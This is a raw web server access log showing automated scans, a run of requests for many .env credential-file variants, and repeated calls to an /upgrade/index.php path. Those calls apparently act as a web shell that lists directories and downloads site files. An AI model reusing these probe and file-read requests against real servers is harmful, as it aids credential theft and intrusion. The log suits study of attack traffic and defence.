43.153.122.30 - - [11/Sep/2026:17:15:55 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/cgi-bin HTTP/1.1" 200 6177 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.157.46.118 - - [11/Sep/2026:17:26:56 -0400] "GET /upgrade/index.php?file_location=/home/blackpussy06/public_html//error_log&location=/home/blackpussy06/public_html/ HTTP/1.1" 200 7896 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
43.130.154.56 - - [11/Sep/2026:17:37:36 -0400] "GET /upgrade/index.php?file_location=/home/blackpussy06/public_html//wordpress-6.6.2-zh_TWPlus.zip&location=/home/blackpussy06/public_html/ HTTP/1.1" 200 845326 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
213.209.159.148 - - [11/Sep/2026:17:38:30 -0400] "GET /.env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.development HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.ci HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.backup HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.dist HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.docker HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.development.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:33 -0400] "GET /.env.dev HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.private HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.example HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.override HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.old HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.prod HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.prod.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:36 -0400] "GET /.env.production HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.production.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.save HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.secrets HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.staging HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.test HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.test.ci HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env.test.local HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:40 -0400] "GET /.env1 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.environ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.env2 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.environment HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.envpriv HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.envrc HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.env_bak HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.env_copy HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15"
213.209.159.148 - - [11/Sep/2026:17:38:43 -0400] "GET /.env_example HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:126.0) Gecko/20100101 Firefox/126.0"
213.209.159.148 - - [11/Sep/2026:17:38:46 -0400] "GET /.env_old HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:46 -0400] "GET /.env_orig HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:46 -0400] "GET /env HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0"
213.209.159.148 - - [11/Sep/2026:17:38:46 -0400] "GET /.env_priv HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
43.134.236.36 - - [11/Sep/2026:17:45:11 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/bioway88.com.tw HTTP/1.1" 200 8319 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
40.119.44.123 - - [11/Sep/2026:17:50:20 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 zgrab/0.x"
185.218.86.25 - - [11/Sep/2026:17:55:54 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
43.131.39.179 - - [11/Sep/2026:17:56:12 -0400] "GET /upgrade/index.php?location=/home/&full_path=/home/blackpussy06/public_html/upgrade HTTP/1.1" 200 5759 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
119.28.89.249 - - [11/Sep/2026:18:04:51 -0400] "GET /upgrade/index.php?location=/home/&full_path=/home/blackpussy06/public_html/bodbooks.com.tw HTTP/1.1" 200 5771 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
106.63.26.14 - - [11/Sep/2026:18:42:52 -0400] "GET / HTTP/1.1" 200 7664 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.139 - - [11/Sep/2026:18:43:04 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.141 - - [11/Sep/2026:18:43:07 -0400] "GET /robots.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.14 - - [11/Sep/2026:18:43:09 -0400] "GET /sitemap.xml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
106.63.26.14 - - [11/Sep/2026:18:43:33 -0400] "GET / HTTP/1.1" 200 1722 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.139 - - [11/Sep/2026:18:43:35 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.20 - - [11/Sep/2026:18:43:39 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.20 - - [11/Sep/2026:18:43:41 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.8 - - [11/Sep/2026:18:43:47 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.22 - - [11/Sep/2026:18:43:49 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.149 - - [11/Sep/2026:18:43:59 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.148 - - [11/Sep/2026:18:44:03 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.6 - - [11/Sep/2026:18:44:05 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.133 - - [11/Sep/2026:18:44:07 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.21 - - [11/Sep/2026:18:44:11 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.131 - - [11/Sep/2026:18:44:17 -0400] "GET /upgrade/ HTTP/1.1" 200 6434 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.133 - - [11/Sep/2026:18:44:20 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.141 - - [11/Sep/2026:18:44:24 -0400] "GET /wp-content/ HTTP/1.1" 200 754 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.156 - - [11/Sep/2026:18:44:29 -0400] "GET /upgrade/index.php?location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 6448 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.8 - - [11/Sep/2026:18:44:38 -0400] "GET /upgrade/ HTTP/1.1" 200 6433 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.8 - - [11/Sep/2026:18:44:40 -0400] "GET /?location=/home/blackpussy06/public_html/ HTTP/1.1" 200 1722 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.14 - - [11/Sep/2026:18:44:43 -0400] "GET /?file_location=/home/blackpussy06/public_html/upgrade//.htaccess&location=/home/blackpussy06/public_html/upgrade/ HTTP/1.1" 200 1722 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.22 - - [11/Sep/2026:18:45:04 -0400] "GET / HTTP/1.1" 200 1722 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
106.63.26.20 - - [11/Sep/2026:18:45:07 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
109.52.61.251 - - [11/Sep/2026:19:00:27 -0400] "GET / HTTP/1.1" 200 1483 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
34.77.166.77 - - [11/Sep/2026:19:04:18 -0400] "GET / HTTP/1.1" 200 1727 "-" "python-requests/2.32.5"
2.194.71.153 - - [11/Sep/2026:19:09:05 -0400] "GET / HTTP/1.1" 200 1484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
2.194.71.187 - - [11/Sep/2026:19:33:46 -0400] "GET / HTTP/1.1" 200 1484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
40.124.114.203 - - [11/Sep/2026:19:34:09 -0400] "GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application HTTP/2" 404 1251 "-" "Mozilla/5.0 zgrab/0.x"
2.194.71.236 - - [11/Sep/2026:19:54:43 -0400] "GET / HTTP/1.1" 200 1484 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.79 Safari/537.36"
144.202.92.17 - - [11/Sep/2026:20:05:26 -0400] "GET / HTTP/2" 200 1727 "-" "Mozilla/5.0 (compatible; CyberConvoyScout/1.0; +https://scout.cyberconvoy.co)"
64.62.156.142 - - [11/Sep/2026:20:14:45 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
222.190.63.117 - - [11/Sep/2026:20:18:34 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Brave Chrome/89.0.4389.90 Safari/537.36"
162.62.213.187 - - [11/Sep/2026:20:20:01 -0400] "GET / HTTP/1.1" 200 1727 "http://163.245.207.76:443" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1"
64.62.156.149 - - [11/Sep/2026:20:26:03 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36"
85.217.149.29 - - [11/Sep/2026:20:26:36 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 ModatScanner/1.2 (+https://modat.io/)"
85.217.149.29 - - [11/Sep/2026:20:26:36 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 ModatScanner/1.2 (+https://modat.io/)"
45.33.69.253 - - [11/Sep/2026:20:30:37 -0400] "GET / HTTP/1.0" 200 7646 "-" "-"
64.62.156.147 - - [11/Sep/2026:20:30:46 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.3"
45.33.69.253 - - [11/Sep/2026:20:34:27 -0400] "GET /nmaplowercheck1789173261 HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML"
45.33.69.253 - - [11/Sep/2026:20:34:27 -0400] "GET /default.html HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML"
152.32.250.36 - - [11/Sep/2026:20:37:00 -0400] "GET / HTTP/1.1" 200 7660 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
152.32.250.36 - - [11/Sep/2026:20:37:12 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
152.32.250.36 - - [11/Sep/2026:20:37:12 -0400] "GET /robots.txt HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
152.32.250.36 - - [11/Sep/2026:20:37:13 -0400] "GET /sitemap.xml HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
152.32.250.36 - - [11/Sep/2026:20:37:14 -0400] "GET /_autoindex/assets/js/tablesort.js HTTP/1.1" 200 2300 "-" "Go-http-client/1.1"
152.32.250.36 - - [11/Sep/2026:20:37:14 -0400] "GET /_autoindex/assets/js/tablesort.number.js HTTP/1.1" 200 366 "-" "Go-http-client/1.1"
152.32.250.36 - - [11/Sep/2026:20:37:21 -0400] "GET /config.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:22 -0400] "GET / HTTP/1.1" 200 1727 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:23 -0400] "GET /ba-guo.com.tw/ HTTP/1.1" 404 10432 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:24 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:25 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:26 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:27 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10396 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:28 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:29 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:30 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:31 -0400] "GET /big-wife.com.tw/ HTTP/1.1" 404 11320 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:32 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8493 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:33 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:34 -0400] "GET /bodbooks.com.tw/ HTTP/1.1" 404 12164 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:35 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:36 -0400] "GET /booking-wise2.com.tw/ HTTP/1.1" 404 6289 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:37 -0400] "GET /bossini.com.tw/ HTTP/1.1" 404 14140 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:38 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
152.32.250.36 - - [11/Sep/2026:20:37:39 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
